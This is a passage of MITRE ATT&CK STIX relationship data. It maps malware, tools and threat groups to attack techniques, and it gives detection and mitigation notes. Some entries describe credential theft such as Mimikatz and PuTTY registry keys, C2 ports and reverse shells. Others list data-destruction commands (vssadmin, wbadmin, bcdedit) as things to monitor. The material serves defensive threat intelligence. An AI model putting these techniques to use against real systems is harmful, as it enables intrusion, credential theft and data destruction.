protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--deafd60c-af1a-40eb-bc43-287b37553fae","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://labs.lastline.com/an-analysis-of-plugx","description":"Vasilenko, R. (2013, December 17). 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(2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2019-04-22T20:18:07.111Z","description":"[Remexi](https://attack.mitre.org/software/S0375) utilizes Run Registry keys in the HKLM hive as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91cff72f-644b-42e3-9c86-8cc6475f725a","type":"relationship","created":"2019-03-12T17:42:01.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Trickbot Feb 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/","description":"Llimos, N., Pascual, C.. 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Retrieved March 12, 2019."}],"modified":"2019-06-24T19:15:06.910Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has retrieved PuTTY credentials by querying the <code>Software\\SimonTatham\\Putty\\Sessions</code> registry key (Citation: TrendMicro Trickbot Feb 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--adcf8267-dc71-4397-a02a-f4d03108281f","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor executed commands and arguments for actions involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da713616-e8e6-4170-bcb4-f7c54c41415d","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor for the activation or invocation of an instance (ex: instance.start within GCP Audit Logs)","source_ref":"x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--332ce4cd-311a-457f-ae10-6d8e3ef7bc77","type":"relationship","created":"2020-07-27T15:20:50.519Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. 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New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. 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Retrieved May 14, 2020."}],"modified":"2020-05-18T20:04:59.415Z","description":"[SHARPSTATS](https://attack.mitre.org/software/S0450) has the ability to identify the domain of the compromised host.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--73c4711b-407a-449d-b269-e3b1531fe7a9","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1b1aaab-021e-4d2e-9c3b-eaac41833a4e","type":"relationship","created":"2022-01-09T22:14:54.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. 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(2021, November 23). Defeating Malicious Launch Persistence. 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Retrieved February 25, 2022."}],"modified":"2022-02-25T21:01:55.745Z","description":"[at](https://attack.mitre.org/software/S0110) can be used to schedule a task on a system to be executed at a specific date or time.(Citation: TechNet At)(Citation: Linux at)","relationship_type":"uses","source_ref":"tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6b509c8-0e00-48ac-b76d-f42d18a0ae51","type":"relationship","created":"2021-05-26T12:38:01.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"},{"url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","source_name":"FireEye APT19"}],"modified":"2021-05-26T12:38:01.263Z","description":"[APT19](https://attack.mitre.org/groups/G0073) has obtained and used publicly-available tools like [Empire](https://attack.mitre.org/software/S0363).(Citation: NCSC Joint Report Public Tools)(Citation: FireEye APT19)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc4c0c44-2e94-47c1-9174-fcf0fa1a80b4","type":"relationship","created":"2020-06-11T16:18:16.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. 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Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.406Z","description":"[Avenger](https://attack.mitre.org/software/S0473) has the ability to identify the host volume ID and the OS architecture on a compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfb63eb2-7db6-45d0-83c4-1fc93a8e51c5","type":"relationship","created":"2020-11-25T22:46:47.300Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T22:46:47.300Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has conducted research against potential victim websites as part of its operational planning.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8662e715-6410-40cf-8faa-21b186073a7d","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for newly executed processes that does not correlate to known good software. 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There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Tripwire AppUNBlocker","description":"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. 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(2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-10-15T12:53:09.317Z","description":"[CostaRicto](https://attack.mitre.org/groups/G0132) has obtained open source tools to use in their operations.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"intrusion-set--bb82e0b0-6e9c-439f-970a-4c917a74c5f2","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f852541-3fc7-4036-9268-7bc6bfe94900","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). 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Retrieved May 20, 2020."}],"modified":"2020-05-29T13:31:07.914Z","description":"[USBferry](https://attack.mitre.org/software/S0452) can use <code>tasklist</code> to gather information about the process running on the infected system.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--029a75f4-62a8-4c9e-bdf2-ea2d8aed8900","type":"relationship","created":"2020-08-26T15:20:09.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-09-18T20:55:03.300Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) can use the WebSocket protocol and has initiated communication with C2 servers with an HTTP Upgrade request.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1646da26-9846-4a24-b9a6-59ebad8c9cb5","type":"relationship","created":"2021-01-27T21:26:53.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T21:26:53.128Z","description":"[Evilnum](https://attack.mitre.org/groups/G0120) has used a component called TerraLoader to check certain hardware and file information to detect sandboxed environments. (Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be4040ce-c8cf-408d-b126-0954bbc1545b","type":"relationship","created":"2021-12-07T18:27:04.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Arp","description":"Microsoft. (n.d.). Arp. Retrieved April 17, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490864.aspx"},{"source_name":"Palo Alto ARP","url":"https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/uncommon-arp-cache-listing-via-arp-exe.html","description":"Palo Alto Networks. (2021, November 24). Cortex XDR Analytics Alert Reference: Uncommon ARP cache listing via arp.exe. Retrieved December 7, 2021."}],"modified":"2021-12-07T18:27:04.774Z","description":"[Arp](https://attack.mitre.org/software/S0099) can be used to display a host's ARP cache, which may include address resolutions for remote systems.(Citation: TechNet Arp)(Citation: Palo Alto ARP)","relationship_type":"uses","source_ref":"tool--30489451-5886-4c46-90c9-0dff9adc5252","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b143e00a-062e-424a-83c2-27559ff2cdf1","type":"relationship","created":"2021-11-23T15:39:25.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Profero APT27 December 2020","url":"https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. 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Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:45.853Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. 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Retrieved December 22, 2020."}],"modified":"2020-12-28T22:09:15.760Z","description":"[MoleNet](https://attack.mitre.org/software/S0553) can collect information about the about the system.(Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--8a59f456-79a0-4151-9f56-9b1a67332af2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca2f6580-fb02-4687-b514-94bad87f7bf8","type":"relationship","created":"2020-10-27T19:26:37.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."},{"source_name":"NHS UK BLINDINGCAN Aug 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3603","description":"NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. 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Retrieved March 8, 2021."}],"modified":"2021-03-12T18:46:47.225Z","description":"[Sibot](https://attack.mitre.org/software/S0589) checked if the compromised system is configured to use proxies.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b979ce29-9d89-4d81-82fb-14240af7a241","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). 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Retrieved June 10, 2020."}],"modified":"2020-06-18T20:24:20.645Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034)'s BCS-server tool can create an internal proxy server to redirect traffic from the adversary-controlled C2 to internal servers which may not be connected to the internet, but are interconnected locally.(Citation: ESET Telebots Dec 2016)\t","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03f32a8b-4cd9-488c-9759-37f3dff9faea","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. 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With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.","url":"https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/","source_name":"Cofense RevengeRAT Feb 2019"}],"modified":"2020-03-28T21:41:55.458Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) schedules tasks to run malicious scripts at different intervals.(Citation: Cofense RevengeRAT Feb 2019)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab322e5c-dfd2-45dd-bee1-59aec9d1d840","type":"relationship","created":"2019-10-07T19:05:49.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Unit 42. (2019, February 22). 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Retrieved November 4, 2020."}],"modified":"2020-11-04T16:54:47.870Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has added a Registry key to ensure all future macros are enabled for Microsoft Word and Excel as well as for additional persistence.(Citation: Unit42 BabyShark Feb 2019)(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba5e1994-4732-44a0-a266-452ca526df5a","type":"relationship","created":"2020-01-31T12:39:48.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-31T12:39:48.360Z","relationship_type":"revoked-by","source_ref":"attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a","target_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a521aa4-d389-4ef4-bd24-442d8af23333","type":"relationship","created":"2020-05-18T17:31:39.357Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:40:07.397Z","description":"[Maze](https://attack.mitre.org/software/S0449) has forged POST strings with a random choice from a list of possibilities including \"forum\", \"php\", \"view\", etc. while making connection with the C2, hindering detection efforts.(Citation: McAfee Maze March 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f950b817-9082-4299-a310-6b48fc347ebc","type":"relationship","created":"2021-09-08T17:56:27.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender FIN8 July 2021","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation","description":"Martin Zugec. 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(2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:43:22.758Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) used ports 5190 and 7900 for shellcode listeners, and 4444, 4445, 31337 for shellcode C2.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1f8132be-36d7-403e-a3e6-604db01ca3b8","created":"2022-04-06T20:06:32.719Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has been distributed as a malicious link within an email.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-15T19:27:33.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17c78374-26ca-40a8-935b-04327c503742","type":"relationship","created":"2020-01-28T17:11:54.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-29T21:23:52.051Z","description":"Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system.","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. 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Operation Cloud Hopper. Retrieved April 5, 2017.","source_name":"PWC Cloud Hopper April 2017"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"},{"url":"https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs","description":"Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.","source_name":"Github AD-Pentest-Script"},{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"},{"url":"https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","source_name":"Accenture Hogfish April 2018"},{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2020-03-20T02:34:56.709Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) executes commands using a command-line interface and reverse shell. The group has used a modified version of pentesting script wmiexec.vbs to execute commands.(Citation: PWC Cloud Hopper April 2017)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)(Citation: FireEye APT10 Sept 2018) [menuPass](https://attack.mitre.org/groups/G0045) has used malicious macros embedded inside Office documents to execute files.(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 